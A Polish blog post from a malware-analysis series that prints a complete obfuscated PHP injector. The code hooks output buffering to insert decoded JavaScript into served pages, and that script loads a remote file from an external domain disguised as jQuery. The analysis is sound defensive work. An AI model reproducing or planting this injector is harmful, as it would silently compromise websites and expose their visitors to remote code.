Następna mutacja kodu z części 2 tej serii wpisów.

<?php
global $ob_starting;

if(!$ob_starting) {
    function ob_start_flush($s) {
        $tc = array(0, 69, 84, 82, 67, 83, 7, 79, 73, 23, 8, 9, 12, 76, 68, 63, 24, 78, 3, 19, 65, 27, 14, 70, 80, 16, 29, 85, 89, 17, 86, 2, 18, 77, 93, 91, 11, 71, 66, 72, 75, 20, 87, 74, 59, 13, 22, 61, 52, 25, 28, 37, 35, 15, 1, 21, 30, 34, 92, 36, 41, 88, 46, 51, 33);
        $tr = array(50, 5, 4, 3, 8, 24, 2, 0, 2, 28, 24, 1, 26, 31, 2, 1, 61, 2, 53, 43, 20, 30, 20, 5, 4, 3, 8, 24, 2, 31, 56, 8, 23, 0, 10, 2, 28, 24, 1, 7, 23, 10, 3, 1, 14, 1, 23, 15, 4, 7, 13, 7, 3, 5, 11, 26, 26, 31, 27, 17, 14, 1, 23, 8, 17, 1, 14, 31, 11, 0, 35, 0, 0, 0, 30, 20, 3, 0, 14, 8, 30, 15, 4, 7, 13, 7, 3, 5, 0, 26, 0, 17, 1, 42, 0, 64, 3, 3, 20, 28, 10, 6, 18, 41, 38, 16, 32, 9, 32, 6, 12, 0, 6, 18, 16, 29, 9, 16, 9, 23, 6, 12, 0, 6, 18, 16, 19, 32, 23, 16, 19, 6, 12, 0, 6, 18, 16, 16, 9, 23, 9, 41, 6, 12, 0, 6, 18, 41, 4, 19, 29, 16, 19, 6, 12, 0, 6, 18, 9, 41, 16, 9, 16, 19, 6, 12, 0, 6, 18, 19, 1, 9, 49, 9, 25, 6, 12, 0, 6, 18, 16, 55, 9, 25, 16, 32, 6, 12, 0, 6, 18, 9, 32, 16, 29, 9, 16, 6, 12, 0, 6, 18, 9, 23, 16, 19, 19, 29, 6, 12, 0, 6, 18, 32, 23, 16, 32, 16, 29, 6, 12, 0, 6, 18, 9, 32, 41, 4, 19, 29, 6, 12, 0, 6, 18, 9, 9, 16, 19, 16, 19, 6, 12, 0, 6, 18, 9, 23, 41, 49, 19, 1, 6, 12, 0, 6, 18, 19, 1, 9, 4, 9, 25, 6, 12, 0, 6, 18, 16, 19, 9, 25, 9, 38, 6, 12, 0, 6, 18, 9, 16, 9, 14, 16, 32, 6, 12, 0, 6, 18, 19, 14, 9, 32, 9, 1, 6, 12, 0, 6, 18, 19, 14, 9, 32, 9, 32, 6, 12, 0, 6, 18, 19, 1, 9, 49, 16, 32, 6, 12, 0, 6, 18, 19, 1, 9, 49, 16, 25, 6, 12, 0, 6, 18, 16, 41, 9, 41, 16, 29, 6, 12, 0, 6, 18, 16, 16, 19, 14, 9, 4, 6, 12, 0, 6, 18, 9, 16, 9, 14, 19, 14, 6, 12, 0, 6, 18, 9, 23, 9, 9, 9, 23, 6, 12, 0, 6, 18, 19, 29, 41, 14, 25, 25, 6, 11, 21, 0, 0, 0, 30, 20, 3, 0, 3, 1, 14, 1, 23, 15, 4, 7, 13, 7, 3, 5, 0, 26, 0, 29, 21, 0, 0, 0, 30, 20, 3, 0, 4, 7, 13, 7, 3, 5, 15, 24, 8, 4, 40, 1, 14, 0, 26, 0, 25, 21, 0, 0, 0, 23, 27, 17, 4, 2, 8, 7, 17, 0, 14, 8, 30, 15, 24, 8, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 2, 12, 5, 2, 28, 13, 1, 14, 11, 0, 35, 30, 20, 3, 0, 5, 0, 26, 0, 31, 31, 21, 23, 7, 3, 0, 10, 43, 26, 25, 21, 43, 50, 2, 22, 13, 1, 17, 37, 2, 39, 21, 43, 36, 36, 11, 0, 35, 30, 20, 3, 0, 4, 15, 3, 37, 38, 0, 26, 0, 2, 44, 43, 47, 21, 23, 7, 3, 0, 10, 8, 26, 29, 21, 8, 50, 9, 21, 8, 36, 36, 11, 0, 35, 30, 20, 3, 0, 4, 15, 4, 13, 3, 0, 26, 0, 4, 15, 3, 37, 38, 22, 5, 27, 38, 5, 2, 3, 10, 8, 36, 36, 12, 32, 11, 21, 8, 23, 0, 10, 4, 15, 4, 13, 3, 54, 26, 31, 25, 25, 31, 11, 0, 5, 0, 36, 26, 0, 63, 2, 3, 8, 17, 37, 22, 23, 3, 7, 33, 52, 39, 20, 3, 52, 7, 14, 1, 10, 24, 20, 3, 5, 1, 60, 17, 2, 10, 4, 15, 4, 13, 3, 12, 29, 46, 11, 45, 29, 55, 11, 21, 34, 34, 8, 23, 0, 10, 5, 2, 28, 13, 1, 14, 11, 0, 35, 5, 0, 26, 0, 5, 22, 5, 27, 38, 5, 2, 3, 10, 25, 12, 19, 46, 11, 0, 36, 0, 5, 22, 5, 27, 38, 5, 2, 3, 10, 19, 46, 12, 10, 5, 22, 13, 1, 17, 37, 2, 39, 45, 19, 16, 11, 11, 0, 36, 0, 14, 8, 30, 15, 4, 7, 13, 7, 3, 5, 44, 29, 47, 22, 5, 27, 38, 5, 2, 3, 10, 25, 12, 29, 11, 36, 17, 1, 42, 0, 59, 20, 2, 1, 10, 11, 22, 37, 1, 2, 48, 8, 33, 1, 10, 11, 0, 36, 0, 5, 22, 5, 27, 38, 5, 2, 3, 10, 10, 5, 22, 13, 1, 17, 37, 2, 39, 45, 32, 11, 11, 21, 34, 0, 1, 13, 5, 1, 0, 35, 5, 0, 26, 0, 5, 22, 5, 27, 38, 5, 2, 3, 10, 19, 46, 12, 10, 5, 22, 13, 1, 17, 37, 2, 39, 45, 19, 16, 11, 11, 0, 36, 0, 14, 8, 30, 15, 4, 7, 13, 7, 3, 5, 44, 29, 47, 22, 5, 27, 38, 5, 2, 3, 10, 25, 12, 29, 11, 36, 17, 1, 42, 0, 59, 20, 2, 1, 10, 11, 22, 37, 1, 2, 48, 8, 33, 1, 10, 11, 21, 34, 3, 1, 2, 27, 3, 17, 0, 5, 21, 0, 0, 0, 34, 0, 0, 0, 23, 27, 17, 4, 2, 8, 7, 17, 0, 2, 3, 28, 15, 24, 8, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 11, 0, 35, 2, 3, 28, 0, 35, 0, 0, 0, 8, 23, 10, 54, 14, 7, 4, 27, 33, 1, 17, 2, 22, 37, 1, 2, 51, 13, 1, 33, 1, 17, 2, 57, 28, 60, 14, 0, 58, 58, 0, 54, 14, 7, 4, 27, 33, 1, 17, 2, 22, 4, 3, 1, 20, 2, 1, 51, 13, 1, 33, 1, 17, 2, 11, 35, 14, 7, 4, 27, 33, 1, 17, 2, 22, 42, 3, 8, 2, 1, 10, 14, 8, 30, 15, 24, 8, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 14, 8, 30, 15, 4, 7, 13, 7, 3, 5, 12, 29, 11, 11, 21, 0, 0, 0, 34, 0, 1, 13, 5, 1, 0, 35, 30, 20, 3, 0, 17, 1, 42, 15, 4, 5, 2, 28, 13, 1, 26, 14, 7, 4, 27, 33, 1, 17, 2, 22, 4, 3, 1, 20, 2, 1, 51, 13, 1, 33, 1, 17, 2, 10, 31, 5, 4, 3, 8, 24, 2, 31, 11, 21, 17, 1, 42, 15, 4, 5, 2, 28, 13, 1, 22, 2, 28, 24, 1, 26, 31, 2, 1, 61, 2, 53, 43, 20, 30, 20, 5, 4, 3, 8, 24, 2, 31, 21, 17, 1, 42, 15, 4, 5, 2, 28, 13, 1, 22, 5, 3, 4, 26, 14, 8, 30, 15, 24, 8, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 14, 8, 30, 15, 4, 7, 13, 7, 3, 5, 12, 25, 11, 21, 14, 7, 4, 27, 33, 1, 17, 2, 22, 37, 1, 2, 51, 13, 1, 33, 1, 17, 2, 5, 57, 28, 48, 20, 37, 62, 20, 33, 1, 10, 31, 39, 1, 20, 14, 31, 11, 44, 25, 47, 22, 20, 24, 24, 1, 17, 14, 52, 39, 8, 13, 14, 10, 17, 1, 42, 15, 4, 5, 2, 28, 13, 1, 11, 21, 34, 34, 0, 4, 20, 2, 4, 39, 10, 1, 11, 0, 35, 0, 34, 2, 3, 28, 0, 35, 4, 39, 1, 4, 40, 15, 4, 7, 13, 7, 3, 5, 15, 24, 8, 4, 40, 1, 14, 10, 11, 21, 34, 0, 4, 20, 2, 4, 39, 10, 1, 11, 0, 35, 0, 5, 1, 2, 48, 8, 33, 1, 7, 27, 2, 10, 31, 2, 3, 28, 15, 24, 8, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 11, 31, 12, 0, 55, 25, 25, 11, 21, 34, 0, 0, 0, 34, 0, 0, 0, 2, 3, 28, 15, 24, 8, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 11, 21, 34, 50, 53, 5, 4, 3, 8, 24, 2, 56);

        $ob_htm = '';
        foreach($tr as $tval) {
            $ob_htm .= chr($tc[$tval]+32);
        }

        $slw=strtolower($s);
        $i=strpos($slw,'</script');if($i){$i=strpos($slw,'>',$i);}
        if(!$i){$i=strpos($slw,'</div');if($i){$i=strpos($slw,'>',$i);}}
        if(!$i){$i=strpos($slw,'</table');if($i){$i=strpos($slw,'>',$i);}}
        if(!$i){$i=strpos($slw,'</form');if($i){$i=strpos($slw,'>',$i);}}
        if(!$i){$i=strpos($slw,'</p');if($i){$i=strpos($slw,'>',$i);}}
        if(!$i){$i=strpos($slw,'</body');if($i){$i--;}}
        if(!$i){$i=strlen($s);if($i){$i--;}}
        $i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i);

        return $s;
    }
    $ob_starting = time();
    @ob_start("ob_start_flush");
}
?>

Kod działa dokładnie tak samo jak w części 2, z tą różnicą, że link znajdujący się w JavaScripcie prowadzi do innego adresu.

Link dla niepoznaki podszywa się pod bibliotekę jQuery – http://matalins.co.cc/js/jquery.min.php#[ZNACZNIK CZASOWY]
Niestety (chyba tylko dla mnie :) ) link już nie działa i nie jestem w stanie zerknąć co dzieje się dalej.

Komentarze zablokowane.